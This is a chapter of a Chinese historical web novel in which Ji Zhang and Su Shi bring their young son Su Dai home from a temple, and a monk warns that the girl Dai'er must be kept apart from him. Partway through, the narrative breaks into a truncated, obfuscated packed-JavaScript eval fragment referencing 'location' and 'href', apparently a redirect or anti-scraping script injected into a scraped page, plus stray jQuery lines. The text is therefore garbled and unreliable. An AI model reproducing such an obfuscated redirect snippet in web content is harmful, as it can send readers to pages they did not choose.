70.苏迨回家

抬眸瞧见站在篱笆外的男人,季璋只觉有些恍惚,生疏又客套地问道:“你来此作甚?”


“回家。”苏轼打量着刘家小院的眼神充满赞许,仿佛真当这是他的家了。


“嘎吱—”刺耳的声音响起,院门蓦然被人从外面推开。


季璋猛然回神,这才意识到主仆二人在做什么。居然还真当这儿是他们自己的地盘了,还敢不请自入。


不过她记得这门是锁上了的,怎么这么容易被推开了。


定是玳儿回来时忘记锁门了,这小家伙真是丢三落四的。


季璋来不及多想,直接抄起倚在墙角的大扫帚,以迅雷不及掩耳之势趁院门彻底打开前将人堵在了外面,冷声警告道:


“此处是刘家,不是苏家。”再不济,也是王家。


“而且,”


季璋凌厉的目光扫过苏轼,蹙眉不解道:“眼下才夏季,通判大人身任赈灾使,百姓们还未吃上饭。您玩忽职守就这样回杭州,对得起常润二州的灾民吗?”


按照季璋所想,应等秋日第一批庄稼收割了,百姓吃上新鲜的饭后,赈灾才算彻底结束。


“大娘子慎言,赈灾已经结束。郎君并非玩忽职守,而是正常归家。”灵素严肃道,话中颇有警告意味。


官场上捕风捉影可是常事,有些无心之话指不定哪日就会招来祸事。


苏轼只字未提自己废寝忘食只为早些赶回来的数月,只道:


“事情办完便回来了。闰之,一路舟车劳顿,你不让我进去歇歇吗?”


他这样一提,季璋这才注意到男人脚上被泥土彻底覆盖瞧不出本色的鞋子。


衣裳虽瞧不出什么,但连脱鞋子给下人擦洗的空隙也没有,想来这衣裳也是好几日未换过了。


不过季璋也不是心软的主儿,反手将手中的大扫帚挥舞得呼呼作响,颇有一夫当关万夫莫开的气势,


“灵素说得对,此番通判大人乃正常回苏家。既然是回苏家,那就请速速离开罢。”


她对苏轼行程的安排并不在意。只是这样一来,她的跑路计划需得重新安排了。


苏轼似是早已预料到了这一幕,变戏法般蓦然拿出一信封,在她眼前晃了晃,


“若是如此,这一来一去时间耽搁,今日怕是就接不了迨哥儿了。”


“!你说什么?”季璋一愣,不可置信道。


等了半年一点口风都没有的消息,蓦然就凭空出现在自己面前,从天而降砸得她晕乎乎的。


“这是辩才法师写给我的信。”苏轼并未上前只是伸直了手臂,将信递到她跟前。这番拘谨又礼貌的行径,好似刚刚想要进院的不是他。


然而这个距离有些尴尬,二人中间有灵素以及一道门。季璋若是想要拿到信,就需自己将门打开。


但此刻季璋顾不了这么多,如他所愿扔下防备的扫帚,自动将院门打开,伸手接过了信。


门外的主仆二人就站在门口等待,没有任何逾矩的举动。


眼瞅着季璋将那封信翻来覆去对光瞧上好几遍,苏轼无奈道:“今日便可分真假,闰之你大可放心。”


季璋冷哼一声,不作回答,只是将信默默收好。


信任这种东西就像一只气球。想要加大别人对自己的信任,需要一次又一次地打气维系。但只要出现一枚针,便会分崩离析,一切都将回归于无。


“闰之,现在我能进去了吗?”苏轼见状,服软问道。


“你···”季璋本想让其在外面等着,不料玳儿倏然出现打断了她的话。


“娘子,宝姐姐将我洗干净啦,我能来帮您做好吃的了。”洗干净的泥娃娃又变成了可爱的小姑娘,一蹦一跳出现在三人视线内。


“你就是玳儿吗?”苏轼率先朝小姑娘开口,以示友好。


玳儿站在季璋身边,一眼便瞧见了他身边的灵素。来小院的人少,故而她那日虽只远远瞧过灵素几眼,还是记下了他的容貌。


玳儿抬头看了看季璋,见她没任何反应,中规中矩地朝苏轼行了一叉手礼,“见过郎君。”


那日院内的对话,她在屋内依稀听到了一些。故而知晓了灵素是郎君身边的人,自然而然便推出了苏轼的身份。


“免礼。”


苏轼摆手免了她的礼,毫不吝啬地夸赞道:“不愧是闰之养大的,果真聪慧。”


“之前送你的那对磨喝乐,你可喜欢?”苏轼继续释放着友好的讯息,主动与玳儿拉近关系。


见他如狗皮膏药般黏上来,季璋直觉不妙,伸手将玳儿拉到身后,扭头吩咐道:


“你与宝姐姐守好家,午膳随便弄些吃。等我回来晚些给你们做好吃的。”


“知道了,娘子。”玳儿不再理会苏轼,转头跑进了浴间,寻二宝去了。


想来那人是娘子的夫君,不会对她不好的。


苏轼看着玳儿消失的背影,苦笑道:“闰之,你就这么防备我?”


季璋睨了他一眼,避而不答:“不是说去接迨哥儿吗?走不走?”


见她不肯与自己多说一句废话,苏轼也只好作罢,“走罢,先去上天竺寺。”


*


上天竺寺,正殿。


苏轼带着灵素在正殿内上香还愿,辩才与季璋站在殿外稍加等候。


“苏大娘子几日不见,可还安好?”辩才自来熟般打着招呼。


季璋将那封信拿出递给辩才,皮笑肉不笑道:


“我日日等,皆没一点风声。今日通判大人才刚回,直接就瓜熟蒂落了。高僧,你这般做派,真地很难让民妇相信这所谓的‘佛缘’是天意,不是‘人意’啊。”


她次次来,布施、香火一样不落,却什么也得不到。苏轼远在杭州之外,反倒成了这第一个知晓能接迨哥儿回府的人。


辩才接过自己写的那封信,何尝听不出她话中的控诉。他慢悠悠地将信收好,出声解释道:


“通判大人离州赈灾功不可没,为小公子积攒了不少善缘。”


言下之意不外乎,若是苏轼赈灾失败了,苏迨这佛缘是攒不够的,也就不会出现这封信了。


敢情她们这些小老百姓累断腰的贡献,也不及上面之人洒洒水。


事实虽伤人,但季璋不得不承认,苏轼的功劳确实更大些——他能从根本上解救两州百姓,而她只能暂时救济城外的部分灾民。


用两州百姓性命换来的善缘才能填满的佛缘窟窿,若单靠她一人,怕是这辈子都无缘见到苏迨了。


季璋瞧着正殿内的背影,沉默半晌后蓦然转移了话题,“法师,您给句痛快话,今日我真能顺利接出迨哥儿吗?”


眼下没有替代人选,还俗仪式无法进行。苏迨就算是回府,仍是以出家人的身份。可就是因有出家人这层身份的枷锁,季璋这才担忧这和尚又会拿乔说事。


“自然。只是,”


辩才一顿,季璋直觉不妙,迫不及待追问道:“只是什么?”


“只是大娘子您命中只有一个‘dai’字的孩子傍身。若是想要小公子安然无恙,身边不可有与之相冲的其他孩子。”辩才解惑道。


这与点名道姓,有何区别。<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15100849|148825||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


/p>


不就是说的玳儿吗?


“给那孩子改名,可以吗?”季璋不死心道。


当初将她当成迨哥儿的代替人选,以为总有分别的一日故而没有亲近;如今毫无顾忌将她当作女娃养在身边半年,却还是逃不过要分别的割舍。


辩才回望着她,并未开口。他那如明镜似的碧色瞳孔,将季璋内心的绝望照得一干二净


——当初若是能改这“代”字,她早就改了。代儿,代儿,与那重男轻女的招娣、来娣有何区别,刺耳得紧。


“日后再···送走,行吗?”季璋妥协了。


“切莫与小公子同时在娘子身边即可。”辩才道。


*


刘家小院。


日落西山,斜挂的橘日将小院内蹲坐在院内守门的两道身影,拉得格外长。


“宝姐姐,娘子今日还会回来吗?”


不知在这儿坐了多久,靠着二宝的玳儿只觉眼皮愈发沉重,不禁打了个哈欠。


“当然会。”二宝斩钉截铁道。


话音未落,门口便已响起了马蹄的踢踏声。


玳儿的困意一扫而空,二人齐齐起身朝院门外跑去。果真瞧着季璋从马车上下来,手里还牵着一光头娃娃。


“宝姐姐,娘子怎么带了一小师傅回来?”不知情的玳儿瞧着不远处的小光头,问道。


二宝却蓦然湿了眼眶。一年多了,自家娘子终于熬出头了。


她吸了吸鼻子,压抑着哭腔向玳儿解释道:“这就是咱们娘子那苦命的孩子,是二公子。”


玳儿视线重新落在了迨儿那逆光只瞧得清轮廓的身影,眼里多了几分诚恳。


若不是他,她也没有第二次活命的机会,也遇不上娘子这么好的人。


季璋瞧见不远处二宝身边的玳儿,握着苏迨的手心虚般骤然放开。


“母亲,怎么了?”苏迨不知道玳儿一事,却敏锐察觉到了母亲的异常。


“无事。”


季璋将一路上都舍不得松开的小手塞进了苏轼手里,柔声道:


“小院到了,母亲得去给迨哥儿做好吃的。先让父亲陪着你,好不好?”


辩才的话,不可信,但也不能不信。


季璋不敢再用迨哥儿冒险,所以让苏轼跟着回了刘家小院。今晚她要与玳儿好好谈谈,有苏轼这个父亲在,迨哥儿身边也有陪伴。


苏迨却道:“出寺院前,孩儿已经在斋堂用过了。母亲今日不用再费心做孩儿的了。”


“那我明早给你早好吃的。”季璋不死心道,仿佛想用美食将苏迨拉回到一年前那个熟悉的状态。


“母亲费心了。”尽管才五岁,季璋却在苏迨身上瞧见了苏迈读书十几年沉淀下的稳重。


不过这份稳重在十五岁的苏迈身上是优点,在五岁的苏迨身上让人只觉心疼,让人想去探究他的过往。


“莫要客套了。一路舟车劳顿,咱们父子先进屋洗干净再说。”


苏轼似是也觉得苏迨过于稳重了,如孩童恶作剧般直接伸手过其腋下,将苏迨一把抱起。


突如其来的失重感,让脸上始终一个表情的苏迨破了功。小娃大惊失色地紧紧抱住苏轼的头,惊呼道:“父亲!”


凝重严肃的氛围,也因这一声惊呼彻底瓦解。


苏轼老顽童般抱着苏迨一路小跑着进了屋。上下颠簸吓得苏迨不敢撒手,也多了几分活人气儿,连声道:“爹,慢些!再慢些!”


跟在后面的季璋瞧着这一幕笑出了泪,这也才感受到自己心心念念的迨哥儿是真地回来了。